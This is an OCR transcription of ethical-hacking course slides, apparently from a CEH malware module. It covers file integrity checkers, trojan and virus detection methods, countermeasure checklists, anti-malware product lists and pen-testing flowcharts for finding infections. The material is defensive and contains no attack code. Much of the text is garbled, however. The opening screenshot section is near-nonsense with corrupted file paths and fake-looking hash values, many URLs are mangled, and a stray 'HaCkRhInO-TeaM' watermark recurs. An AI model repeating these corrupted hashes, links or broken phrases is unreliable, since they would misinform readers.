Chcere Uve (Bes or @ orire ol you warl (o mae o o Fies IE' PHERRICTARSTL JBT HEEPR R L E PR T H Iad JAERSWN

| cxiadagte 1l 1982 1 28740 = 115008 Bnlnewm
| el asuas. 034 TheS A BOLEFLEH 70 Eebankbdaddd T Bkasvin

5 AReryou sive the rewults you will be sbis bo check 1hs miegrty of your fles. | Emdvd 11 BIFFRERMET TS TR O B TETRIRTE FTRES kR
W) Press the Save fr+5) button to save SneaceasInsts £+ 1acBEOS ML L EOLLIBED A FAMLAD 20186 Inknsen

e | dbwzz . txs 398 Dnkpows
o] Doenputany fhs il ot b Tl B ek, ok x Orkngen
e - Sae  Chocknar St Sekiniin Emonis ’:i:'f’:ff:.‘;fi' o
i) C\Program Fles (eB6] FastSumiE... BEKE D1 4FFSFSEACA1MACIAE THSEAR0365 edbeesI000L_JEs BINI23ECIH6ATEITONIIATed105eened  JOSTIEE  OHkneun
P C\Program Flss (KB FastSum' F ITEKE F2EF31DS0DERF38A 11 56ARSEIE04FFAD S Fea
3 C\Program Fles (xBEJ FastSum’F 2556 KB THSED0E14T4EDC ZIFFSRAAAZE TTA4C00
C'\Programs Fles (BE]FastSum' H KB 13B30F0JECOCEIARF | SXISESTFR04F Deng Slon pod MOSTUM fiked i il sble] mic this window
| C\Frogrem Fles (B8] Fast Sum' A IKE CHI3145RARBSEAZSIELRII0AFEFBSSS
5] Co\Progees Fles EE] FastSumibs AD3AEEEZTCOS00BEA330CEII45 1 E281
t,' C\Program Fles (xBET FastSumids ‘rcs: S165900F ASFDSERREESE ITR52EREI5RT
U C\Frogram Flea (BB FastSum'h 1KE ZSF3BDAERITCI36AIEC540CB4EFE TFOR
% C\Program Fies (oB6] Fast Sum's z B52FE4ERFBCEZBCSCAZ7C TFCEAECDC TS
C\Progrars Fles (5] FastSumta W4KE SCIIF296C1ES1B10ACETF T FEEDEIE

Iurver o ko ma® Ram s fale (m BICHRSUM 8l
t ¢ b

http.//www.blisstonia.com

4 WinMDS is a Windows utility for computing the
MDS hashes ("fingerprints") of files

Emmumhuma MMHID‘&ISUAH

L' Lot ”he h-edmu'n . H H

e e o A AR DN AN J Thes? fingerprints can be used to ensure that
7 Salacted 339 MEin 126 O foldam the file is uncorrupted
e

http://www.fastsum.com

FastSum is used for checking integrity of the files

It computes checksums according to the MD5S checksum algorithm
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Files and Folder Integrity
Checker

Advanced CheckSum Verifier
(ACSV)

http/ S wanw, irnis. net

PA File Sight

hittp:/fww poweradmin.com

Fsum Frontend CSP File Integrity Checker
http://fsumfe.sourceforge. net hittp:/fuwww tandemsecurity.com

Verisys ExactFile
http S waanwe, fonx. co.uk http:/funwwe. exactfile.com

AFICK (Another File Integrity

Checker)
http://afick.sourceforge.net

OSSEC

http:/fwww.ossec.net

FileVerifier++ = Checksum Verifier

httpe/Swanw, programminguniimited.net - http: v bitdreamers.com
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Scanning for Suspicious
Network Activities

'll :

Trojans connect back to handlers and send confidential information r,,'

to attackers

. Use network scanners and packet sniffers to monitor network traffic
going to malicious remote addresses

Run tools such as Capsa to monitor network traffic and look for
suspicious activities sent over the web
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Detecting Trojans and Worms

C|EH

with Capsa Network Analyzer el

Capsa is an intuitive network analyzer, which provides detailed information
to help check if there are any Trojan activities on a network

http:ffwww.m.'ﬂsaﬁ.wn:
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Virus Detection Methods £ ELI

Scanning | g;::f;:;g Interception

O ' - a
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Virus Detection Methods (|gH

(C'ﬂ'ﬂt Td) Cartified | Evbical Macker

Code Heuristic
Emulation 5 Analysis

S—
g -

J In code emulation techniques, the Heuristic analysis can be static or
anti-virus executes the malicious dynamic
code inside a virtual machine to In static analysis the anti-virus
simulate CPU and memory

e analyses the file format and code
activities

structure to determine if the code
This techniques is considered very is viral

effective in dealing with encrypted In dynamic analysis the anti-virus

and polymorphic viruses if the performs a code emulation of
virtual machine mimics the real

: the suspicious code to determine
machine

it the code is viral
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IModule Flow

Introduction
to Malware

Malware
Detection

Trojan Virus and Worm Malware Reverse
Concepts Concepts Engineering

B

Bt

Counter- Anti-Malware Penetration
measures Software Testing
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Trojan Countermeasures

C|EH

Coriifbed B Ethical Hachar

Avoid opening email attachments received
from unknown senders

Block all unnecessary ports at the host and
firewall

Avoid accepting the programs transferred by
instant messaging

Install patches and security updates for the
operating systems and applications

S5can CDs and DVDs with antivirus software
before using

= o
are—

Restrict permissions within the desktop
environment to prevent malicious
applications installation

Harden weak, default configuration settings
and disable unused functionality including
protocols and services

Avoid typing the commands blindly and
implementing pre-fabricated programs or
scripts

Monitor the internal network traffic for odd
ports or encrypted traffic

Manage local workstation file integrity
through checksums, auditing, and port
scanning

Avoid downloading and executing applications
from untrusted sources

Run host-based antivirus, firewall, and
intrusion detection software
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Backdoor Countermeasures | C/IEH

Coriifbed B Ethical Hachar

Most commercial anti-virus products can automatically scan and detect
backdoor programs before they can cause damage

rH. VN

Educate users not to install applications downloaded from untrusted Internet
sites and email attachments

Use anti-virus tools such as McAfee, Norton, etc. to detect and eliminate
backdoors
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Install anti-virus software that detects and
removes infections as they appear

Generate an anti-virus policy for safe
- _ m— computing and distribute it to the staff
- Pay attention to the instructions while
Nﬂ\‘lﬂlﬂading files or any programs from
the Internet
_— Update the anti-virus software

regularly
Avoid opening the attachments received

from an unknown sender as viruses

fpiEatvia e mall attachments Possibility of virus infection may

corrupt data, thus regularly maintain
data back up

Schedule regular scans for all drives after ——

the installation of anti-virus software

Do not accept disks or programs without
checking them first using a current
version of an anti-virus program

o
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Virus and Worms Countermeasures
(Cont’d)

Ensure the executable code sent to the
organization is approved

Run disk clean up, registry scanner and
defragmentation once a week

Do not boot the machine with infected
bootable system disk

Turn on the firewall if the OS used is
Windows XP

Know about the latest virus threats

Run anti-spyware or adware once in
a week

Check the DVDs and CDs for virus
infection

Do not open the files with more than
one file type extension

Ensure the pop-up blocker is turned on
and use an Internet firewall

Be cautious with the files being sent
through the instant messenger
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Introduction
to Malware

Malware
Detection

Trojan Virus and Worm Malware Reverse
Concepts Concepts Engineering

|
AN

Counter- Anti-Malware Penetration
measures Software Testing
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Anti-Trojan Software:
TrojanHunter

T

for

detecting any modified
ariant of a particular build

otaTrojan

Registry scanning for
detecting traces of
Trojans in the registry

Inifile scanning for
detecting traces of Trojans
' in configuration files

TrojanHunter Guard for

resident memory scanning -

detect any Trojans if they
_manage to start up

TrojanHunter is an advanced malware scanner that
detects all sorts of malware such as Trojans, spyware,

adware, and dialers

File View GScan Tocks Help
b b

Full Scan Quade Scan Lpdsie Ent

Select Folders to Scan
Scon Detads

Trojans were detected

Obvects scanned: 5040

Sry TrajarHunter Mosw - Click Hene!

http://www.trojanhunter.com

Copyright © by EG-Counel. Al Rights Reserved. Repraduction is Strictly Prohibited,




Anti-Trojan Software: Emsisoft
Anti-Malware

Emsisoft ANTI-MALWARE

Emsisoft Anti-Malware provides
against viruses, Trojans,
'spy'wure, adware, worms, bots,
keyloggers, and rootkits

——e
Ipdate Chean Computer

3 Oilyjects detectml 4 Hiji t T

Dingnoss Detaiby
= SewiveiivAeelestal (8) 3 sy v ok

~ Apphcation.Winld Wiearch (Al regstry ey - norisk

Two combined scanners for
cleaning: Anti-Virus and Anti-
Ma IWE re Sprpicious fles baer been detected domng the acan

Quiranling seried olijects

= http://www.emsisoft.com
Three guards against new ? vt

infections: file guard, behavior
blocker, and surf protection
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Anti-Trojan Software

Anti Malware BOClean & | SUPERAnNtiSpyware

http:/ /www.comodo.com | http:/fwwwesuperantispyware.com

Anti Hacker ' Trojan Remover
http:/fwanw hide-my-ip.com ki http:/fuwwesimplysup.com

XoftSpySE h . Twister Antivirus

httpe S wanwe, paretologic.com \ http:/funwwe filseclab.com

SPYWAREfighter ' STOPzilla AntiMalware

http: S wanw. spamfighter.com http:/fwnnw stopzilla.com

Malwarebytes Anti-Malware

Premium
http:/ www. malwarebytes.org

ZeroSpyware
http:/fwww fhmsoftware. com
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Companion Antivirus: Immunet

. Community
2 478,260 people protected

Ll

Files Scanned:

Threats Detectad:
Threats Removed:

Elapsed Time:

Your scan has completed, Thrasts wane detected and
clazned

B W
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http.//www.immunet.com
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AVG Antivirus

http/ffree.avg.com

BitDefender

httpedSwanwe, bitdefender. com

Kaspersky Anti-Virus

http: S wanwe, kaspersky. com

Trend Micro Titanium

Maximum Security
http:/fapac.trendmicro.com

Norton AntiVirus
httpeS e, symantec.com

HaCkRhInO-TeaM

F-Secure Anti-Virus
http:/fwnnw f-secure. com

avast! Pro Antivirus 2014

http:/funwwe ovast.com

McAfee AntiVirus Plus 2014

http:/ home.meafee.com

ESET Smart Security 7

http:/fuwww.eset.com

Total Defense Internet

Security Suite
hittp:/fwww totaldefense.com

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




IModule Flow

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

B |

-

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Pen Testing for Trojans and
Backdoors

Use tools such as Scan the system for open ports,
TCPView and running processes, registry entries,
CurrPorts device drivers and services

If any suspicious port, process,

registry entry, device driver or
Use tools such as service is discovered, check the
What's Running associated executable files

Collect more infermation about

these from publisher’s websites,
Use tools such as if available, and Internet
jvi6 Power Tools 2014 and

Check if the open ports are known
RegScanner

to be spened by Trojans in wild

v
Use tools such 2

DriverView and
Driver Detective

Use tools such as
SrvMan and ServiWin
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Pen Testing for Trojans and
Backdoors (Contq)

Use tools such as Check the startup programs and determine if
R anet desiiin Security AutoRun and all the programs in the list can be recognized
Autoruns for Windows with known functionalities

Check the data files for modification or
manipulation by opening several files and
comparing hash value of these files with a
pre-computed hash

Use tools such as FCIV,
TRIPWIRE, SIGVERIF,
FastSum, and WinMD5

Check for suspicious network activities such
as upload of bulk files or unusually high
traffic going to a particular web address

Use tools such as Capsa
Metwork Analyzer

Check the critical 05 file modification or
Use tools such as FCIV manipulation using tools such as TRIPWIRE or
and TRIPWIRE manually comparing hash values if you have a
backup copy

CRECTT L e toale Suh Run an updated Trojan scanner from a

TrajanHunter and reputed vendor to identify Trojans in wild
Emsisoft Anti-Malware
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Pen Testing for Trojans and
Backdoors (Contq)

If Trojans Document all your findings in
previous steps; it helps in
determining the next action if
Trojans are identified in the
system

are
detected?

YES \.f \\Q,f/ Isolate infected system from
: the network immediately to
prevent further infection

Sanitize the complete system
for Trojans using an updated
anti-virus

Is updated
anti-virus
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Penetration Testing for Virus

Anti-virus is
installed?

[
"

v

Anti-virus is

updated?

Install latest version
of Anti-virus

Update Anti-virus

Enable real-time
scanning

-------------

......... 3 3

v

Scan the system

Install an anti-virus
program on

the network
infrastructure and on
the end-user’s system

Update the anti-virus
software to update virus
database of the newly
identified viruses

Enable real-time
scanning

Scan the system for
viruses, which helps to
repair damage or delete
files infected with
viruses
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Penetration Testing for Virus
(Cont’d)

Use tools such as What's
Running and Autoruns for
Windows

Use tools such as jv16 Power
Tools 2014 and RegScanner

Use tools such as
SrviMan and Serviwin

Use tools such as Security
AutoRun, and Autoruns

Use tools such as FCIV,
TRIPWIRE, and SIGVERIF

Use tools such as FCIV and
TRIPWIRE

Scan the system for running
processes, registry entry changes,
Windows services, startup programs,
files and folders integrity, and OS5 files
modification

If any suspicious process, registry
entry, startup program or service is
discovered, check the associated
executable files

Collect more information about these
from publisher’s websites if available,
and Internet

Check the startup programs and
determine if all the programs in the
list can be recognized with known
functionalities

Check the data files for medification
or manipulation by opening several
files and comparing hash value of
these files with a pre-computed hash

Check the critical OS file modification
or manipulation using tools such as
TRIPWIRE or manually comparing hash
values if you have a backup copy
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Penetration Testing for Virus
(Cont’d)

If suspicious activity is
=i x} SUs IS ROk inReeted found, isolate infected
i system from the network
immediately to prevent

further infection

Run the anti-virus in safe
mode and if any virus is
detected, set the anti-virus
to quarantine or delete
infected files

Set the Anti-virus to
guarantine or delete
infected files
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Penetration Testing for Virus
(Cont’d)

Install another anti-virus and scan
the system for viruses

If virus is found set the anti-virus
to quarantine or delete the
infected files

If virus is not found, format the
system with a clean operating

system copy

Document all the findings in
previous steps; it helps in
determining the next action if
viruses are identified in the
system

Set the Anti-virus to
quarantine or delete
infected files

H.¥N
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- Module Summary

= -

e
Malware is a malicious software that damages or disables computer systems and gives
limited or full control of the systems to the malware creator for the purpose of theft or fraud

Trojan is a program in which the malicious or harmful code is contained inside apparently harmless
programming or data in such a way that it can get control and cause damage, such as ruining the
file allocation table on your hard disk

A wrapper binds a Trojan executable with an innocent looking .EXE application such as games or
office applications

An exploit kit or crimeware toolkit is a platform to deliver exploits and payload on the target system

Avirus is a self-replicating program that produces its own copy by attaching itself to another
program, computer boot sector or document

Viruses are categorized according to what do they infect and how do they infect
Awareness and preventive measures are the best defences against Trojans and viruses

Using anti-Trojan and anti-virus tools such as TrojanHunter and Emsisoft Anti-Malware to detect
and eliminate Trojans and viruses
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